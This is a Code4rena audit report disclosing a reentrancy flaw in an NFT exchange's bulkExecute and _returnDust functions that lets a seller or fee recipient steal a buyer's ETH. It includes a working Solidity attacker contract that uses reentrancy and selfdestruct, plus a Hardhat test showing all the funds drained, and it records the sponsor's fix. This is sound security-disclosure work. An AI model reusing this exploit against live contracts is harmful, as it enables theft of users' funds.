Platform: Code4rena
Start Date: 11/11/2022
Pot Size: $36,500 USDC
Total HM: 5
Participants: 62
Period: 3 days
Judge: berndartmueller
Id: 181
League: ETH
Rank: 10/62
Findings: 1
Award: $796.16
π Selected for report: 1
π Solo Findings: 0
796.1558 USDC - $796.16
https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L168 https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L565 https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L212 https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L154
Most severe issue: A Seller or Fee recipient can steal ETH funds from the buyer when he is making a single or bulk execution. (Direct theft of funds).
Additional impacts that can be caused by these bugs:
bulkExecute
(by altering isInternal
, insufficient funds, etc..)_execute
externally_remainingETH
to 0 (will not get refunded)Background:
bulkExecute
function that allows multiple orders to execute. The implementation is implemented in a way that if an _execute
of a single order reverts, it will not break additional or previous successful _execute
s. It is therefore very important to track actual ETH used by the function._returnDust
function and setupExecution
modifier. This ensures that calls to _execute
must be internal and have proper accounting of remainingETH.The new implementations creates an attack vectors that allows the Seller or Fee recipient to steal ETH.
There are three main bugs that can be exploited to steal the ETH:
_execute
is not called (_execute
has a reentrancyGuard)bulkExecute
can be called with an empty parameter. This allows the caller to not enter _execute
and call _returnDust
_returnDust
sends the entire balance of the contract to the caller.(Side note: I issued the 3 bugs together in this one report in order to show impact and better reading experience for sponsor and judge. If you see fit, these three bugs can be split to three different findings)
There are two logical scenarios where the heist could originate from:
Consider the scenario (#1) where feeRecipient rate 10% of token price 1 ETH:
bulkExecute
with 4 ETH
. 1 ETH
for every order.0.1 ETH
is sent to feeRecipient (controlled by Alice).bulkExecute
with empty array as parameter and 1 WEI
of data_returnDust
returns the balance of the contract to feeRecipient 3.9 ETH
.3.1 ETH
to seller (or any other beneficiary)selfdestruct
opcode that transfers 0.9 ETH
to Exchange contract. This is in order to keep _execute
from reverting when paying the seller._execute
pays seller 0.9 ETH
4 ETH
._execute
calls by bulkExecute
will get reverted because buyer cannot pay as his funds were stolen.3 ETH
funds stolenβββββββββββββ ββββββββββββ βββββββββββββββββ βββββββββββββ β β β β β β β β β Buyer β β Exchange β β Fee Recipient β β Seller β β β β β β β β β βββββββ¬ββββββ ββββββ¬ββββββ βββββββββ¬ββββββββ βββββββ¬ββββββ β β β β β bulkExecute(4 orders) β β β β 4 ETH β β β ββββββββββββββββββββββββΊβ β β β β_execute sends 0.1 ETH β β β ββββββββββββββββββββββββΊβ β β β β β β β bulkExecute(0 orders) β β β β 1 WEI β β β βββββββββββββββββββββββββ€ β β β β β β β _retrunDust sends β β β β 3.9 ETH β β β ββββββββββββββββββββββββΊβ Send 3.1 ETH β β β βββββββββββββββββββΊβ β β Self destruct send β β β β 0.9 ETH β β β βββββββββββββββββββββββββ€ β β β β β β β_execute sends 0.9 ETH β β β βββββββββββββββββββββββββΌββββββββββββββββββΊβ β β β β β ββββββββ _execute revertβ β β β β 3 times β β βββββ΄ββββ ββββββββ β βββββ΄ββββ β3 ETH β β β β4 ETH β βStolen β βBalanceβ βββββββββ βββββββββ
Here is a possible implementation of the fee recipient contract:
contract MockFeeReceipient { bool lock; address _seller; uint256 _price; constructor(address seller, uint256 price) { _seller = seller; _price = price; } receive() external payable { Exchange ex = Exchange(msg.sender); if(!lock){ lock = true; // first entrance when receiving fee uint256 feeAmount = msg.value; // Create empty calldata for bulkExecute and call it Execution[] memory executions = new Execution[](0); bytes memory data = abi.encodeWithSelector(Exchange.bulkExecute.selector, executions); address(ex).call{value: 1}(data); // Now we received All of buyers funds. // Send stolen ETH to seller minus the amount needed in order to keep execution. address(_seller).call{value: address(this).balance - (_price - feeAmount)}(''); // selfdestruct and send funds needed to Exchange (to not revert) selfdestruct(payable(msg.sender)); } else{ // Second entrance after steeling balance // We will get here after getting funds from reentrancy } } }
Important to know: the exploit becomes much easier if the set fee rate is 10000 (100% of the price). This can be set by the seller. In such case, the fee recipient does not need to send funds back to the exchange contract. In such case, step #7-8 can be removed. Example code for 100% fee scenario:
pragma solidity 0.8.17; import { Exchange } from "../Exchange.sol"; import { Execution } from "../lib/OrderStructs.sol"; contract MockFeeReceipient { bool lock; address _seller; uint256 _price; constructor(address seller, uint256 price) { _seller = seller; _price = price; } receive() external payable { Exchange ex = Exchange(msg.sender); if(!lock){ lock = true; // first entrance when receiving fee uint256 feeAmount = msg.value; // Create empty calldata for bulkExecute and call it Execution[] memory executions = new Execution[](0); bytes memory data = abi.encodeWithSelector(Exchange.bulkExecute.selector, executions); address(ex).call{value: 1}(data); } else{ // Second entrance after steeling balance // We will get here after getting funds from reentrancy } } }
In the POC we talk mostly about bulkExecute
but execute
of a single execution can steal the buyers excessive ETH.
Buyers can call execute
or bulkExecute
to start an execution of orders.
Both functions have a setupExecution
modifier that stores the amount of ETH the caller has sent for the transactions:
bulkExecute
in Exchange.sol
:
https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L168
function bulkExecute(Execution[] calldata executions) external payable whenOpen setupExecution {
setupExecution
:
https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L40
modifier setupExecution() { remainingETH = msg.value; isInternal = true; _; remainingETH = 0; isInternal = false; }
_execute
will be called to handle the buy and sell order.
_executeFundsTransfer
will be called to transfer the buyers funds to the seller and fee recipient_executeFundsTransfer
:
https://github.com/code-423n4/2022-11-non-fungible/blob/323b7cbf607425dd81da96c0777c8b12e800305d/contracts/Exchange.sol#L565
function _executeFundsTransfer( address seller, address buyer, address paymentToken, Fee[] calldata fees, uint256 price ) internal { if (msg.sender == buyer && paymentToken == address(0)) { require(remainingETH >= price); remainingETH -= price; } /* Take fee. */ uint256 receiveAmount = _transferFees(fees, paymentToken, buyer, price); /* Transfer remainder to seller. */ _transferTo(paymentToken, buyer, seller, receiveAmount); }
Fees are calculated based on the rate set by the seller and send to the fee recipient in _transferFees
.
When the fee recipient receives the funds. They can reenter the Exchange contract and drain the balance of contract.
This can be done through bulkExecution
.
bulkExecution
can be called with an empty array. If so, no _execute
function will be called and therefore no reentrancyGuard will trigger.
At the end of bulkExecution
, _returnDust
function is called to return excessive funds.
function bulkExecute(Execution[] calldata executions) external payable whenOpen setupExecution { /* REFERENCE uint256 executionsLength = executions.length; for (uint8 i=0; i < executionsLength; i++) { bytes memory data = abi.encodeWithSelector(this._execute.selector, executions[i].sell, executions[i].buy); (bool success,) = address(this).delegatecall(data); } _returnDust(remainingETH); */ uint256 executionsLength = executions.length; for (uint8 i = 0; i < executionsLength; i++) {
function _returnDust() private { uint256 _remainingETH = remainingETH; assembly { if gt(_remainingETH, 0) { let callStatus := call( gas(), caller(), selfbalance(), 0, 0, 0, 0 ) } } }
After the fee recipient drains the rest of the 4 ETH funds of the Exchange contract (the buyers funds). They need to transfer a portion back (0.9 ETH) to the Exchange contract in order for the _executeFundsTransfer
to not revert and be able to send funds (0.9 ETH) to the seller. This can be done using the selfdestruct
opcode
After that, the _execute
function will continue and exit normally.
bulkExecute
will continue to the next order and call _execute
which will revert.
Because bulkExecute
delegatecalls _execute
and continues even after revert, the function bulkExecute
will complete its execution without any errors and all the buyers ETH funds will be lost and nothing will be refunded.
add the following test to execution.test.ts
:
describe.only('hack', async () => { let executions: any[]; let value: BigNumber; beforeEach(async () => { await updateBalances(); const _executions = []; value = BigNumber.from(0); // deploy MockFeeReceipient let contractFactory = await (hre as any).ethers.getContractFactory( "MockFeeReceipient", {}, ); let contractMockFeeReceipient = await contractFactory.deploy(alice.address,price); await contractMockFeeReceipient.deployed(); //generate alice and bob orders. alice fee recipient is MockFeeReceipient. 10% cut tokenId += 1; await mockERC721.mint(alice.address, tokenId); sell = generateOrder(alice, { side: Side.Sell, tokenId, paymentToken: ZERO_ADDRESS, fees: [ { rate: 1000, recipient: contractMockFeeReceipient.address, } ], }); buy = generateOrder(bob, { side: Side.Buy, tokenId, paymentToken: ZERO_ADDRESS}); _executions.push({ sell: await sell.packNoOracleSig(), buy: await buy.packNoSigs(), }); // create 3 more executions tokenId += 1; for (let i = tokenId; i < tokenId + 3; i++) { await mockERC721.mint(thirdParty.address, i); const _sell = generateOrder(thirdParty, { side: Side.Sell, tokenId: i, paymentToken: ZERO_ADDRESS, }); const _buy = generateOrder(bob, { side: Side.Buy, tokenId: i, paymentToken: ZERO_ADDRESS, }); _executions.push({ sell: await _sell.packNoOracleSig(), buy: await _buy.packNoSigs(), }); } executions = _executions; }); it("steal funds", async () => { let aliceBalanceBefore = await alice.getBalance(); //price = 4 ETH value = price.mul(4); //call bulkExecute tx = await waitForTx( exchange.connect(bob).bulkExecute(executions, { value })); let aliceBalanceAfter = await alice.getBalance(); let aliceEarned = aliceBalanceAfter.sub(aliceBalanceBefore); //check that alice received all 4 ETH expect(aliceEarned).to.equal(value); }); });
Add the following contract to mocks folder:
MockFeeRecipient.sol
:
pragma solidity 0.8.17; import { Exchange } from "../Exchange.sol"; import { Execution } from "../lib/OrderStructs.sol"; contract MockFeeReceipient { bool lock; address _seller; uint256 _price; constructor(address seller, uint256 price) { _seller = seller; _price = price; } receive() external payable { Exchange ex = Exchange(msg.sender); if(!lock){ lock = true; // first entrance when receiving fee uint256 feeAmount = msg.value; // Create empty calldata for bulkExecute and call it Execution[] memory executions = new Execution[](0); bytes memory data = abi.encodeWithSelector(Exchange.bulkExecute.selector, executions); address(ex).call{value: 1}(data); // Now we received All of buyers funds. // Send stolen ETH to seller minus the amount needed in order to keep execution. address(_seller).call{value: address(this).balance - (_price - feeAmount)}(''); // selfdestruct and send funds needed to Exchange (to not revert) selfdestruct(payable(msg.sender)); } else{ // Second entrance after steeling balance // We will get here after getting funds from reentrancy } } }
Execute yarn test
to see that test pass (Alice stole all 4 ETH)
VS code, hardhat
execute
and bulkExecute
functions_refundDust
return only _remainingETHbulkExecute
if parameter array is empty.#0 - c4-judge
2022-11-16T14:12:55Z
berndartmueller marked the issue as primary issue
#1 - c4-judge
2022-11-16T14:14:24Z
berndartmueller marked the issue as selected for report
#2 - c4-sponsor
2022-11-22T21:11:57Z
nonfungible47 marked the issue as sponsor confirmed
#3 - nonfungible47
2022-12-07T21:26:00Z
Both mitigation steps 2 and 3 were added. We cannot add reentrancyGuard
to the execute
and bulkExecute
functions as it will break the call to _execute
. So, a separate guard was added in setupExecution
that would require isInternal = false
, preventing reentrant calls.